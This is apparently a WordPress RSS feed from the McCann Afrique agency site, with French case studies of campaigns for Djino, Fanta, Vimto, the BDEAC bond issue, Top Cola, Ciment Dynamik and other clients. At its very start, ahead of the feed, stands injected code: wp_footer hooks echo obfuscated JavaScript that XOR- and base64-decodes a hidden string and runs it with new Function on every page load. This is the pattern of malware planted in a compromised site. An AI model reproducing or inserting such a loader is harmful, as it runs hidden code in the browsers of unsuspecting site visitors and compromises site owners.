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_0x24fb0dc04a76=14;\nvar _0x10ce9ecbb65d=\'\';\nfor(var _0xf2b470ca1dc2=0;_0xf2b470ca1dc2<_0x567e65d4ba36.length;_0xf2b470ca1dc2++)\n  _0x10ce9ecbb65d+=String.fromCharCode(_0x567e65d4ba36[_0xf2b470ca1dc2]^_0x24fb0dc04a76);\nvar _0x676b87f02a95=23;\nvar _0x37dfe6482eb4=atob(_0x10ce9ecbb65d);\nvar _code=\'\';\nfor(var _0xf2b470ca1dc2=0;_0xf2b470ca1dc2<_0x37dfe6482eb4.length;_0xf2b470ca1dc2++)\n  _code+=String.fromCharCode(_0x37dfe6482eb4.charCodeAt(_0xf2b470ca1dc2)^_0x676b87f02a95);\n(new Function(_code))();\n})();</script>'; }, 99);

add_action('wp_footer', function () { echo '<script>(function(){\nvar xb5a302=9687;\nif(xb5a302>0){var ye78f7d=xb5a302-3060}else{var ye78f7d=3060}\nvar z8acf0b=ye78f7d*58;\nvar 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<p>L’article <a href="https://www.mccann-afrique.com/template-creation/">Template Création</a> est apparu en premier sur <a href="https://www.mccann-afrique.com">McCANN AFRIQUE</a>.</p>
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</div></div><div id="panel-1909-0-0-2" class="so-panel widget widget_sow-image" data-index="2" ><div
			
			class="so-widget-sow-image so-widget-sow-image-default-8b5b6f678277-1909"
			
		>
<div class="sow-image-container">
		<img 
	src="https://www.mccann-afrique.com/wp-content/uploads/2024/04/Visuel-de-campagne.jpg" width="4724" height="3543" srcset="https://www.mccann-afrique.com/wp-content/uploads/2024/04/Visuel-de-campagne.jpg 4724w, https://www.mccann-afrique.com/wp-content/uploads/2024/04/Visuel-de-campagne-300x225.jpg 300w, https://www.mccann-afrique.com/wp-content/uploads/2024/04/Visuel-de-campagne-768x576.jpg 768w, https://www.mccann-afrique.com/wp-content/uploads/2024/04/Visuel-de-campagne-1024x768.jpg 1024w, https://www.mccann-afrique.com/wp-content/uploads/2024/04/Visuel-de-campagne-1200x900.jpg 1200w" sizes="(max-width: 4724px) 100vw, 4724px" title="DJINO_NEW FLAVOUR" alt="" 		class="so-widget-image"/>
	</div>

</div></div><div id="panel-1909-0-0-3" class="so-panel widget widget_sow-editor panel-last-child" data-index="3" ><div
			
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		>
<div class="siteorigin-widget-tinymce textwidget">
	<p><strong>FICHE TECHNIQUE</strong></p>
<p>- Secteur d'activité : LOREM IPSUM<br />- Annonceur : LOREM IPSUM<br />- Agences :  McCANN Pays</p>
</div>
</div></div></div></div></div><p>L’article <a href="https://www.mccann-afrique.com/template-creation/">Template Création</a> est apparu en premier sur <a href="https://www.mccann-afrique.com">McCANN AFRIQUE</a>.</p>
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		<title>DJINO: Des fruits plein la gorge&#8230; Savourez</title>
		<link>https://www.mccann-afrique.com/djino-des-fruits-plein-la-gorge-savourez/</link>
		
		<dc:creator><![CDATA[Idriss NGOUEN]]></dc:creator>
		<pubDate>Tue, 19 Mar 2024 12:33:12 +0000</pubDate>
				<category><![CDATA[Douala]]></category>
		<guid isPermaLink="false">http://www.mccann-afrique.com/?p=1877</guid>

					<description><![CDATA[<p>Après l'innovation du D'jino Pamplemousse, les Boissons du Cameroun ont mis les bouchées doubles avec de nouveaux fruités qui rejoignent la famille D'jino (Ananas Passion et Mangue Goyave). Dans cette animatique de McCann Douala, nous assistons à la naissance de ces deux nouvelles saveurs dans un univers fruité qui renforce la notion de fruits plein [&#8230;]</p>
<p>L’article <a href="https://www.mccann-afrique.com/djino-des-fruits-plein-la-gorge-savourez/">DJINO: Des fruits plein la gorge&#8230; Savourez</a> est apparu en premier sur <a href="https://www.mccann-afrique.com">McCANN AFRIQUE</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div id="pl-1877"  class="panel-layout" ><div id="pg-1877-0"  class="panel-grid panel-no-style" ><div id="pgc-1877-0-0"  class="panel-grid-cell" ><div id="panel-1877-0-0-0" class="so-panel widget widget_sow-editor panel-first-child" data-index="0" ><div
			
			class="so-widget-sow-editor so-widget-sow-editor-base"
			
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<div class="siteorigin-widget-tinymce textwidget">
	<p><iframe id="nbpkd" style="min-height: 500px;" title="no" src="https://www.youtube.com/embed/nT60ik9Boe4" title="YouTube video player" frameborder="0"></iframe></p>
</div>
</div></div><div id="panel-1877-0-0-1" class="so-panel widget widget_sow-editor" data-index="1" ><div
			
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<div class="siteorigin-widget-tinymce textwidget">
	<p>Après l'innovation du D'jino Pamplemousse, les Boissons du Cameroun ont mis les bouchées doubles avec de nouveaux fruités qui rejoignent la famille D'jino (Ananas Passion et Mangue Goyave). Dans cette animatique de McCann Douala, nous assistons à la naissance de ces deux nouvelles saveurs dans un univers fruité qui renforce la notion de fruits plein la gorge.</p>
</div>
</div></div><div id="panel-1877-0-0-2" class="so-panel widget widget_sow-image" data-index="2" ><div
			
			class="so-widget-sow-image so-widget-sow-image-default-8b5b6f678277-1877"
			
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<div class="sow-image-container">
		<img 
	src="https://www.mccann-afrique.com/wp-content/uploads/2024/03/DJINO_NEW-FLAVOUR_2.jpg" width="4724" height="3543" srcset="https://www.mccann-afrique.com/wp-content/uploads/2024/03/DJINO_NEW-FLAVOUR_2.jpg 4724w, https://www.mccann-afrique.com/wp-content/uploads/2024/03/DJINO_NEW-FLAVOUR_2-300x225.jpg 300w, https://www.mccann-afrique.com/wp-content/uploads/2024/03/DJINO_NEW-FLAVOUR_2-768x576.jpg 768w, https://www.mccann-afrique.com/wp-content/uploads/2024/03/DJINO_NEW-FLAVOUR_2-1024x768.jpg 1024w, https://www.mccann-afrique.com/wp-content/uploads/2024/03/DJINO_NEW-FLAVOUR_2-1200x900.jpg 1200w" sizes="(max-width: 4724px) 100vw, 4724px" title="DJINO_NEW FLAVOUR_2" alt="" 		class="so-widget-image"/>
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</div></div><div id="panel-1877-0-0-3" class="so-panel widget widget_sow-image" data-index="3" ><div
			
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<div class="sow-image-container">
		<img 
	src="https://www.mccann-afrique.com/wp-content/uploads/2024/03/NEW_DJINO_IA_EXE_4x3m-01.jpg" width="2362" height="1772" srcset="https://www.mccann-afrique.com/wp-content/uploads/2024/03/NEW_DJINO_IA_EXE_4x3m-01.jpg 2362w, https://www.mccann-afrique.com/wp-content/uploads/2024/03/NEW_DJINO_IA_EXE_4x3m-01-300x225.jpg 300w, https://www.mccann-afrique.com/wp-content/uploads/2024/03/NEW_DJINO_IA_EXE_4x3m-01-768x576.jpg 768w, https://www.mccann-afrique.com/wp-content/uploads/2024/03/NEW_DJINO_IA_EXE_4x3m-01-1024x768.jpg 1024w, https://www.mccann-afrique.com/wp-content/uploads/2024/03/NEW_DJINO_IA_EXE_4x3m-01-1200x900.jpg 1200w" sizes="(max-width: 2362px) 100vw, 2362px" alt="" 		class="so-widget-image"/>
	</div>

</div></div><div id="panel-1877-0-0-4" class="so-panel widget widget_sow-editor panel-last-child" data-index="4" ><div
			
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<div class="siteorigin-widget-tinymce textwidget">
	<p>Fiche technique:</p>
<p>- Secteur d’activité: Agroalimentaire</p>
<p>- Annonceur: Boissons du Cameroun</p>
<p>- Agence: McCANN Douala</p>
<p>- Animatique 3D</p>
</div>
</div></div></div></div></div><p>L’article <a href="https://www.mccann-afrique.com/djino-des-fruits-plein-la-gorge-savourez/">DJINO: Des fruits plein la gorge&#8230; Savourez</a> est apparu en premier sur <a href="https://www.mccann-afrique.com">McCANN AFRIQUE</a>.</p>
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		<title>FANTA ORANGE</title>
		<link>https://www.mccann-afrique.com/fanta-orange/</link>
		
		<dc:creator><![CDATA[Idriss NGOUEN]]></dc:creator>
		<pubDate>Wed, 24 Feb 2021 17:09:46 +0000</pubDate>
				<category><![CDATA[Douala]]></category>
		<guid isPermaLink="false">http://www.mccann-afrique.com/?p=1623</guid>

					<description><![CDATA[<p>QUESTION La marque Fanta a commencé à perdre de son importance sur le marché, ce qui a eu des répercussions sur les ventes de produits. C'est pourquoi SABC a vu la nécessité de relancer la relation entre les consommateurs et la marque Fanta. L'agence a été mise au défi de revigorer la marque et de [&#8230;]</p>
<p>L’article <a href="https://www.mccann-afrique.com/fanta-orange/">FANTA ORANGE</a> est apparu en premier sur <a href="https://www.mccann-afrique.com">McCANN AFRIQUE</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div id="pl-1623"  class="panel-layout" ><div id="pg-1623-0"  class="panel-grid panel-no-style" ><div id="pgc-1623-0-0"  class="panel-grid-cell" ><div id="panel-1623-0-0-0" class="so-panel widget widget_sow-image panel-first-child panel-last-child" data-index="0" ><div
			
			class="so-widget-sow-image so-widget-sow-image-default-8b5b6f678277-1623"
			
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<div class="sow-image-container">
		<img 
	src="https://www.mccann-afrique.com/wp-content/uploads/2021/02/FANTA-promo-OK-01.jpg" width="1730" height="2297" srcset="https://www.mccann-afrique.com/wp-content/uploads/2021/02/FANTA-promo-OK-01.jpg 1730w, https://www.mccann-afrique.com/wp-content/uploads/2021/02/FANTA-promo-OK-01-226x300.jpg 226w, https://www.mccann-afrique.com/wp-content/uploads/2021/02/FANTA-promo-OK-01-768x1020.jpg 768w, https://www.mccann-afrique.com/wp-content/uploads/2021/02/FANTA-promo-OK-01-771x1024.jpg 771w, https://www.mccann-afrique.com/wp-content/uploads/2021/02/FANTA-promo-OK-01-1200x1593.jpg 1200w" sizes="(max-width: 1730px) 100vw, 1730px" title="FANTA-promo OK-01" alt="" 		class="so-widget-image"/>
	</div>

</div></div></div></div><div id="pg-1623-1"  class="panel-grid panel-no-style" ><div id="pgc-1623-1-0"  class="panel-grid-cell" ><div id="panel-1623-1-0-0" class="so-panel widget widget_sow-image panel-first-child panel-last-child" data-index="1" ><div
			
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<div class="sow-image-container">
		<img 
	src="https://www.mccann-afrique.com/wp-content/uploads/2021/02/Fanta_Facebook-1200x630.jpg" width="5001" height="2626" srcset="https://www.mccann-afrique.com/wp-content/uploads/2021/02/Fanta_Facebook-1200x630.jpg 5001w, https://www.mccann-afrique.com/wp-content/uploads/2021/02/Fanta_Facebook-1200x630-300x158.jpg 300w, https://www.mccann-afrique.com/wp-content/uploads/2021/02/Fanta_Facebook-1200x630-768x403.jpg 768w, https://www.mccann-afrique.com/wp-content/uploads/2021/02/Fanta_Facebook-1200x630-1024x538.jpg 1024w, https://www.mccann-afrique.com/wp-content/uploads/2021/02/Fanta_Facebook-1200x630-1200x630.jpg 1200w" sizes="(max-width: 5001px) 100vw, 5001px" title="Fanta_Facebook-1200&#215;630" alt="" 		class="so-widget-image"/>
	</div>

</div></div></div></div><div id="pg-1623-2"  class="panel-grid panel-no-style" ><div id="pgc-1623-2-0"  class="panel-grid-cell" ><div id="panel-1623-2-0-0" class="so-panel widget widget_sow-editor panel-first-child panel-last-child" data-index="2" ><div
			
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<div class="siteorigin-widget-tinymce textwidget">
	<p>QUESTION<br /> La marque Fanta a commencé à perdre de son importance sur le marché, ce qui a eu des répercussions sur les ventes de produits. C'est pourquoi SABC a vu la nécessité de relancer la relation entre les consommateurs et la marque Fanta. L'agence a été mise au défi de revigorer la marque et de la connecter à un marché cible beaucoup plus jeune et dynamique.<br /> VERITE<br /> L'agence a réagi en lançant une campagne produit-fonctionnelle qui mettait l'accent sur les avantages de la consommation de la marque, parfaitement illustrée par l’accroche "encore plus de gout". La campagne était présente sur Outdoor, les médias numériques et autres supports de communication.<br /> FICHE TECHNIQUE<br /> -Secteur d’activité : Boissons Gazeuses<br /> -Annonceur : SABC<br /> -Agence : McCANN Douala</p>
</div>
</div></div></div></div></div><p>L’article <a href="https://www.mccann-afrique.com/fanta-orange/">FANTA ORANGE</a> est apparu en premier sur <a href="https://www.mccann-afrique.com">McCANN AFRIQUE</a>.</p>
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		<title>VIMTO ST VALENTIN 2020</title>
		<link>https://www.mccann-afrique.com/vimto-st-valentin-2020/</link>
		
		<dc:creator><![CDATA[Idriss NGOUEN]]></dc:creator>
		<pubDate>Wed, 24 Feb 2021 17:02:27 +0000</pubDate>
				<category><![CDATA[Douala]]></category>
		<guid isPermaLink="false">http://www.mccann-afrique.com/?p=1616</guid>

					<description><![CDATA[<p>QUESTION La Saint-Valentin est toujours l'occasion pour la SABC de faire participer les consommateurs à un moment important de leur vie. Le client a mis l'agence au défi de trouver un nouvel angle d'approche pour cette campagne de la Saint-Valentin VERITE L'agence a relevé ce défi en s'appuyant sur la nécessité pour les couples d'afficher [&#8230;]</p>
<p>L’article <a href="https://www.mccann-afrique.com/vimto-st-valentin-2020/">VIMTO ST VALENTIN 2020</a> est apparu en premier sur <a href="https://www.mccann-afrique.com">McCANN AFRIQUE</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div id="pl-1616"  class="panel-layout" ><div id="pg-1616-0"  class="panel-grid panel-no-style" ><div id="pgc-1616-0-0"  class="panel-grid-cell" ><div id="panel-1616-0-0-0" class="so-panel widget widget_sow-image panel-first-child panel-last-child" data-index="0" ><div
			
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<div class="sow-image-container">
		<img 
	src="https://www.mccann-afrique.com/wp-content/uploads/2021/02/PROMO-VIMTO-CANETTE-01.jpg" width="1136" height="850" srcset="https://www.mccann-afrique.com/wp-content/uploads/2021/02/PROMO-VIMTO-CANETTE-01.jpg 1136w, https://www.mccann-afrique.com/wp-content/uploads/2021/02/PROMO-VIMTO-CANETTE-01-300x224.jpg 300w, https://www.mccann-afrique.com/wp-content/uploads/2021/02/PROMO-VIMTO-CANETTE-01-768x575.jpg 768w, https://www.mccann-afrique.com/wp-content/uploads/2021/02/PROMO-VIMTO-CANETTE-01-1024x766.jpg 1024w" sizes="(max-width: 1136px) 100vw, 1136px" title="PROMO-VIMTO CANETTE-01" alt="" 		class="so-widget-image"/>
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</div></div></div></div><div id="pg-1616-1"  class="panel-grid panel-no-style" ><div id="pgc-1616-1-0"  class="panel-grid-cell" ><div id="panel-1616-1-0-0" class="so-panel widget widget_sow-editor panel-first-child panel-last-child" data-index="1" ><div
			
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<div class="siteorigin-widget-tinymce textwidget">
	<p>QUESTION<br /> La Saint-Valentin est toujours l'occasion pour la SABC de faire participer les consommateurs à un moment important de leur vie. Le client a mis l'agence au défi de trouver un nouvel angle d'approche pour cette campagne de la Saint-Valentin<br /> VERITE<br /> L'agence a relevé ce défi en s'appuyant sur la nécessité pour les couples d'afficher publiquement leur affection l'un pour l'autre de manière non-verbale. Cela constitue une confirmation publique de leur lien. L'agence a trouvé une manière subtile de donner à la marque du client un rôle clé dans cette manifestation d'affection<br /> FICHE TECHNIQUE<br /> -Secteur d’activité : Boissons Gazeuses<br /> -Annonceur : SABC<br /> -Agence : McCANN Douala</p>
</div>
</div></div></div></div></div><p>L’article <a href="https://www.mccann-afrique.com/vimto-st-valentin-2020/">VIMTO ST VALENTIN 2020</a> est apparu en premier sur <a href="https://www.mccann-afrique.com">McCANN AFRIQUE</a>.</p>
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		<title>EMPRUNT OBLIGATAIRE BDEAC</title>
		<link>https://www.mccann-afrique.com/emprunt-obligataire-bdeac/</link>
		
		<dc:creator><![CDATA[Idriss NGOUEN]]></dc:creator>
		<pubDate>Mon, 22 Feb 2021 17:33:58 +0000</pubDate>
				<category><![CDATA[Douala]]></category>
		<guid isPermaLink="false">http://www.mccann-afrique.com/?p=1611</guid>

					<description><![CDATA[<p>QUESTION Pour continuer à atteindre son objectif de construire une région économique en plein essor, la Banque de Développement de l'Afrique Centrale (BDEAC) a cherché à lever 100 milliards de francs CFA auprès des institutions financières et du grand public par le biais d'un emprunt obligataire dans 6 pays. VERITE L'agence a relevé le défi [&#8230;]</p>
<p>L’article <a href="https://www.mccann-afrique.com/emprunt-obligataire-bdeac/">EMPRUNT OBLIGATAIRE BDEAC</a> est apparu en premier sur <a href="https://www.mccann-afrique.com">McCANN AFRIQUE</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div id="pl-1611"  class="panel-layout" ><div id="pg-1611-0"  class="panel-grid panel-no-style" ><div id="pgc-1611-0-0"  class="panel-grid-cell" ><div id="panel-1611-0-0-0" class="so-panel widget widget_sow-image panel-first-child panel-last-child" data-index="0" ><div
			
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<div class="sow-image-container">
		<img 
	src="https://www.mccann-afrique.com/wp-content/uploads/2021/02/BDEAC-60x80cm-01.jpg" width="3544" height="4725" srcset="https://www.mccann-afrique.com/wp-content/uploads/2021/02/BDEAC-60x80cm-01.jpg 3544w, https://www.mccann-afrique.com/wp-content/uploads/2021/02/BDEAC-60x80cm-01-225x300.jpg 225w, https://www.mccann-afrique.com/wp-content/uploads/2021/02/BDEAC-60x80cm-01-768x1024.jpg 768w, https://www.mccann-afrique.com/wp-content/uploads/2021/02/BDEAC-60x80cm-01-1200x1600.jpg 1200w" sizes="(max-width: 3544px) 100vw, 3544px" alt="" 		class="so-widget-image"/>
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</div></div></div></div><div id="pg-1611-1"  class="panel-grid panel-no-style" ><div id="pgc-1611-1-0"  class="panel-grid-cell" ><div id="panel-1611-1-0-0" class="so-panel widget widget_sow-editor panel-first-child panel-last-child" data-index="1" ><div
			
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<div class="siteorigin-widget-tinymce textwidget">
	<p>QUESTION<br /> Pour continuer à atteindre son objectif de construire une région économique en plein essor, la Banque de Développement de l'Afrique Centrale (BDEAC) a cherché à lever 100 milliards de francs CFA auprès des institutions financières et du grand public par le biais d'un emprunt obligataire dans 6 pays.<br /> VERITE<br /> L'agence a relevé le défi en lançant un plan de communication intégré qui a été mené par une activité de road show de 7 séminaires dans 6 pays de la région d'Afrique centrale. Ce plan a été soutenu par les médias ATL tels que la télévision, la radio et le numérique. La BDEAC a finalement réussi à réunir 107 milliards de francs CFA à l'issue de cette activité bien coordonnée<br /> FICHE TECHNIQUE<br /> -Secteur d’activité : Banque<br /> -Annonceur : BDEAC<br /> -Agence : McCANN Douala</p>
</div>
</div></div></div></div></div><p>L’article <a href="https://www.mccann-afrique.com/emprunt-obligataire-bdeac/">EMPRUNT OBLIGATAIRE BDEAC</a> est apparu en premier sur <a href="https://www.mccann-afrique.com">McCANN AFRIQUE</a>.</p>
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		<title>LANCEMENT TOP COLA</title>
		<link>https://www.mccann-afrique.com/lancement-top-cola/</link>
		
		<dc:creator><![CDATA[Idriss NGOUEN]]></dc:creator>
		<pubDate>Mon, 22 Feb 2021 17:21:48 +0000</pubDate>
				<category><![CDATA[Douala]]></category>
		<guid isPermaLink="false">http://www.mccann-afrique.com/?p=1601</guid>

					<description><![CDATA[<p>QUESTION SABC a vu la nécessité d'étendre sa gamme de marques de coke, d'où la création de Top Cola VERITE Top Cola a été lancé avec une campagne axée sur les produits-émotionnel. Après tout, rien ne pourrait être plus savoureux que le goût de la liberté FICHE TECHNIQUE -Secteur d’activité : Boissons Gazeuses -Annonceur : [&#8230;]</p>
<p>L’article <a href="https://www.mccann-afrique.com/lancement-top-cola/">LANCEMENT TOP COLA</a> est apparu en premier sur <a href="https://www.mccann-afrique.com">McCANN AFRIQUE</a>.</p>
]]></description>
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		<img 
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	<p>QUESTION<br /> SABC a vu la nécessité d'étendre sa gamme de marques de coke, d'où la création de Top Cola<br /> VERITE<br /> Top Cola a été lancé avec une campagne axée sur les produits-émotionnel. Après tout, rien ne pourrait être plus savoureux que le goût de la liberté<br /> FICHE TECHNIQUE<br /> -Secteur d’activité : Boissons Gazeuses<br /> -Annonceur : SABC<br /> -Agence : McCANN Douala</p>
</div>
</div></div></div></div></div><p>L’article <a href="https://www.mccann-afrique.com/lancement-top-cola/">LANCEMENT TOP COLA</a> est apparu en premier sur <a href="https://www.mccann-afrique.com">McCANN AFRIQUE</a>.</p>
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		<title>CIMENT DYNAMIK</title>
		<link>https://www.mccann-afrique.com/ciment-dynamik/</link>
		
		<dc:creator><![CDATA[Idriss NGOUEN]]></dc:creator>
		<pubDate>Thu, 18 Feb 2021 11:18:27 +0000</pubDate>
				<category><![CDATA[Douala]]></category>
		<guid isPermaLink="false">http://www.mccann-afrique.com/?p=1596</guid>

					<description><![CDATA[<p>QUESTION La CIMAF est une marque concurrente sur un marché camerounais très compétitif. Cela dit, le défi majeur était de faire connaître et de faire réfléchir sur sa nouvelle marque de ciment multi-usages, baptisée Dynamik VERITE L'agence a pu atteindre cet objectif en créant tout d'abord un nom de marque qui puisse être associé aux [&#8230;]</p>
<p>L’article <a href="https://www.mccann-afrique.com/ciment-dynamik/">CIMENT DYNAMIK</a> est apparu en premier sur <a href="https://www.mccann-afrique.com">McCANN AFRIQUE</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div id="pl-1596"  class="panel-layout" ><div id="pg-1596-0"  class="panel-grid panel-no-style" ><div id="pgc-1596-0-0"  class="panel-grid-cell" ><div id="panel-1596-0-0-0" class="so-panel widget widget_sow-image panel-first-child panel-last-child" data-index="0" ><div
			
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	src="https://www.mccann-afrique.com/wp-content/uploads/2021/02/DYNAMIKvue.jpg" width="4804" height="3613" srcset="https://www.mccann-afrique.com/wp-content/uploads/2021/02/DYNAMIKvue.jpg 4804w, https://www.mccann-afrique.com/wp-content/uploads/2021/02/DYNAMIKvue-300x226.jpg 300w, https://www.mccann-afrique.com/wp-content/uploads/2021/02/DYNAMIKvue-768x578.jpg 768w, https://www.mccann-afrique.com/wp-content/uploads/2021/02/DYNAMIKvue-1024x770.jpg 1024w, https://www.mccann-afrique.com/wp-content/uploads/2021/02/DYNAMIKvue-1200x902.jpg 1200w" sizes="(max-width: 4804px) 100vw, 4804px" title="DYNAMIK 6X3m" alt="" 		class="so-widget-image"/>
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</div></div></div></div><div id="pg-1596-1"  class="panel-grid panel-no-style" ><div id="pgc-1596-1-0"  class="panel-grid-cell" ><div id="panel-1596-1-0-0" class="so-panel widget widget_sow-editor panel-first-child panel-last-child" data-index="1" ><div
			
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	<p>QUESTION</p>
<p>La CIMAF est une marque concurrente sur un marché camerounais très compétitif. Cela dit, le défi majeur était de faire connaître et de faire réfléchir sur sa nouvelle marque de ciment multi-usages, baptisée Dynamik</p>
<p>VERITE</p>
<p>L'agence a pu atteindre cet objectif en créant tout d'abord un nom de marque qui puisse être associé aux consommateurs et en exécutant ensuite un plan de communication intégré à travers plusieurs médias</p>
<p>FICHE TECHNIQUE</p>
<p>-Secteur d’activité : Cimenterie</p>
<p>-Annonceur : CIMAF</p>
<p>-Agence : McCANN Douala</p>
</div>
</div></div></div></div></div><p>L’article <a href="https://www.mccann-afrique.com/ciment-dynamik/">CIMENT DYNAMIK</a> est apparu en premier sur <a href="https://www.mccann-afrique.com">McCANN AFRIQUE</a>.</p>
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		<title>LANCEMENT BITTER LEMON</title>
		<link>https://www.mccann-afrique.com/lancement-bitter-lemon/</link>
		
		<dc:creator><![CDATA[Idriss NGOUEN]]></dc:creator>
		<pubDate>Thu, 18 Feb 2021 11:11:54 +0000</pubDate>
				<category><![CDATA[Douala]]></category>
		<guid isPermaLink="false">http://www.mccann-afrique.com/?p=1593</guid>

					<description><![CDATA[<p>QUESTION SABC a vu la nécessité de remettre en cause le leadership de la concurrence dans la sous-catégorie limonade du marché des boissons gazeuses VERITE L'agence a lancé la marque de limonade SABC en mettant l'accent sur les avantages émotionnels de la marque FICHE TECHNIQUE -Secteur d’activité : Boissons Gazeuses -Annonceur : SABC -Agence : McCANN Douala</p>
<p>L’article <a href="https://www.mccann-afrique.com/lancement-bitter-lemon/">LANCEMENT BITTER LEMON</a> est apparu en premier sur <a href="https://www.mccann-afrique.com">McCANN AFRIQUE</a>.</p>
]]></description>
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	src="https://www.mccann-afrique.com/wp-content/uploads/2021/02/BL-40x30cm-01.jpg" width="1164" height="880" srcset="https://www.mccann-afrique.com/wp-content/uploads/2021/02/BL-40x30cm-01.jpg 1164w, https://www.mccann-afrique.com/wp-content/uploads/2021/02/BL-40x30cm-01-300x227.jpg 300w, https://www.mccann-afrique.com/wp-content/uploads/2021/02/BL-40x30cm-01-768x581.jpg 768w, https://www.mccann-afrique.com/wp-content/uploads/2021/02/BL-40x30cm-01-1024x774.jpg 1024w" sizes="(max-width: 1164px) 100vw, 1164px" alt="" 		class="so-widget-image"/>
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</div></div></div></div><div id="pg-1593-1"  class="panel-grid panel-no-style" ><div id="pgc-1593-1-0"  class="panel-grid-cell" ><div id="panel-1593-1-0-0" class="so-panel widget widget_sow-image panel-first-child panel-last-child" data-index="1" ><div
			
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		<img 
	src="https://www.mccann-afrique.com/wp-content/uploads/2021/02/BETTER-LEMON-4x3m-01.jpg" width="1153" height="870" srcset="https://www.mccann-afrique.com/wp-content/uploads/2021/02/BETTER-LEMON-4x3m-01.jpg 1153w, https://www.mccann-afrique.com/wp-content/uploads/2021/02/BETTER-LEMON-4x3m-01-300x226.jpg 300w, https://www.mccann-afrique.com/wp-content/uploads/2021/02/BETTER-LEMON-4x3m-01-768x579.jpg 768w, https://www.mccann-afrique.com/wp-content/uploads/2021/02/BETTER-LEMON-4x3m-01-1024x773.jpg 1024w" sizes="(max-width: 1153px) 100vw, 1153px" title="BETTER LEMON -4x3m-01" alt="" 		class="so-widget-image"/>
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</div></div></div></div><div id="pg-1593-2"  class="panel-grid panel-no-style" ><div id="pgc-1593-2-0"  class="panel-grid-cell" ><div id="panel-1593-2-0-0" class="so-panel widget widget_sow-editor panel-first-child panel-last-child" data-index="2" ><div
			
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<div class="siteorigin-widget-tinymce textwidget">
	<p>QUESTION</p>
<p>SABC a vu la nécessité de remettre en cause le leadership de la concurrence dans la sous-catégorie limonade du marché des boissons gazeuses</p>
<p>VERITE</p>
<p>L'agence a lancé la marque de limonade SABC en mettant l'accent sur les avantages émotionnels de la marque</p>
<p>FICHE TECHNIQUE</p>
<p>-Secteur d’activité : Boissons Gazeuses</p>
<p>-Annonceur : SABC</p>
<p>-Agence : McCANN Douala</p>
</div>
</div></div></div></div></div><p>L’article <a href="https://www.mccann-afrique.com/lancement-bitter-lemon/">LANCEMENT BITTER LEMON</a> est apparu en premier sur <a href="https://www.mccann-afrique.com">McCANN AFRIQUE</a>.</p>
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		<title>TIGO RAMADAN</title>
		<link>https://www.mccann-afrique.com/tigo-ramadan-2/</link>
		
		<dc:creator><![CDATA[Idriss NGOUEN]]></dc:creator>
		<pubDate>Tue, 02 Jul 2019 14:46:01 +0000</pubDate>
				<category><![CDATA[Douala]]></category>
		<guid isPermaLink="false">http://www.mccann-afrique.com/?p=1355</guid>

					<description><![CDATA[<p>QUESTIONPour l'entrée dans le mois saint, TIGO a arrosé votre téléphone de bienfaits, avec des bonus à n'en plus finir.VÉRITÉPour cette nouvelle campagne de promo, nous avons souhaité symboliser ce partage à travers une théière remplie d'offres TIGO qui distille de ses bonus tous les téléphones du Tchad.FICHE TECHNIQUE- Secteur d'activité: Téléphonie Mobile- Annonceur: TIGO- [&#8230;]</p>
<p>L’article <a href="https://www.mccann-afrique.com/tigo-ramadan-2/">TIGO RAMADAN</a> est apparu en premier sur <a href="https://www.mccann-afrique.com">McCANN AFRIQUE</a>.</p>
]]></description>
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<div class="siteorigin-widget-tinymce textwidget">
	<p><iframe loading="lazy" id="nbpkd" style="min-height: 500px;" title="no" src="https://www.youtube.com/embed/JSv3eET1Yd4?rel=0" width="100%" height="100%" frameborder="0"></iframe></p>
</div>
</div></div></div></div><div id="pg-1355-1"  class="panel-grid panel-no-style" ><div id="pgc-1355-1-0"  class="panel-grid-cell" ><div id="panel-1355-1-0-0" class="so-panel widget widget_sow-editor panel-first-child panel-last-child" data-index="1" ><div
			
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<div class="siteorigin-widget-tinymce textwidget">
	<p><b>QUESTION</b></p>
<p>Pour l'entrée dans le mois saint, TIGO a arrosé votre téléphone de bienfaits, avec des bonus à n'en plus finir.</p>
<p><b>VÉRITÉ</b></p>
<p>Pour cette nouvelle campagne de promo, nous avons souhaité symboliser ce partage à travers une théière remplie d'offres TIGO qui distille de ses bonus tous les téléphones du Tchad.</p>
<p><b>FICHE TECHNIQUE</b></p>
<p>- Secteur d'activité: Téléphonie Mobile<br />- Annonceur: TIGO<br />- Agence: McCANN Douala</p>
</div>
</div></div></div></div></div><p>L’article <a href="https://www.mccann-afrique.com/tigo-ramadan-2/">TIGO RAMADAN</a> est apparu en premier sur <a href="https://www.mccann-afrique.com">McCANN AFRIQUE</a>.</p>
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		<title>LA COUPE TOP</title>
		<link>https://www.mccann-afrique.com/1338-2/</link>
		
		<dc:creator><![CDATA[Idriss NGOUEN]]></dc:creator>
		<pubDate>Mon, 01 Jul 2019 15:50:15 +0000</pubDate>
				<category><![CDATA[Douala]]></category>
		<guid isPermaLink="false">http://www.mccann-afrique.com/?p=1338</guid>

					<description><![CDATA[<p>QUESTIONPour le lancement de la coupe Top, La SABC a souhaité faire une campagne axée sur la transmission. Pour cela, nous les avons fait revenir… Rigobert SONG, Gérémi NJITAP, Salomon OLEMBE, Nicolas ALNOUDJI, ces légendes du football qui nous ont fait vibrer. Tous de retour, pour passer le fanion à la nouvelle génération et leur [&#8230;]</p>
<p>L’article <a href="https://www.mccann-afrique.com/1338-2/">LA COUPE TOP</a> est apparu en premier sur <a href="https://www.mccann-afrique.com">McCANN AFRIQUE</a>.</p>
]]></description>
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	src="https://www.mccann-afrique.com/wp-content/uploads/2019/07/couptetop-1.jpg" width="972" height="729" srcset="https://www.mccann-afrique.com/wp-content/uploads/2019/07/couptetop-1.jpg 972w, https://www.mccann-afrique.com/wp-content/uploads/2019/07/couptetop-1-300x225.jpg 300w, https://www.mccann-afrique.com/wp-content/uploads/2019/07/couptetop-1-768x576.jpg 768w" sizes="(max-width: 972px) 100vw, 972px" title="couptetop" alt="" 		class="so-widget-image"/>
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<div class="siteorigin-widget-tinymce textwidget">
	<p><b>QUESTION</b></p>
<p>Pour le lancement de la coupe Top, La SABC a souhaité faire une campagne axée sur la transmission. Pour cela, nous les avons fait revenir… Rigobert SONG, Gérémi NJITAP, Salomon OLEMBE, Nicolas ALNOUDJI, ces légendes du football qui nous ont fait vibrer. Tous de retour, pour passer le fanion à la nouvelle génération et leur transmettre toutes les valeurs et l’expérience acquise à l’Ecole de Football des Brasseries du Cameroun.</p>
<p><b>VÉRITÉ</b></p>
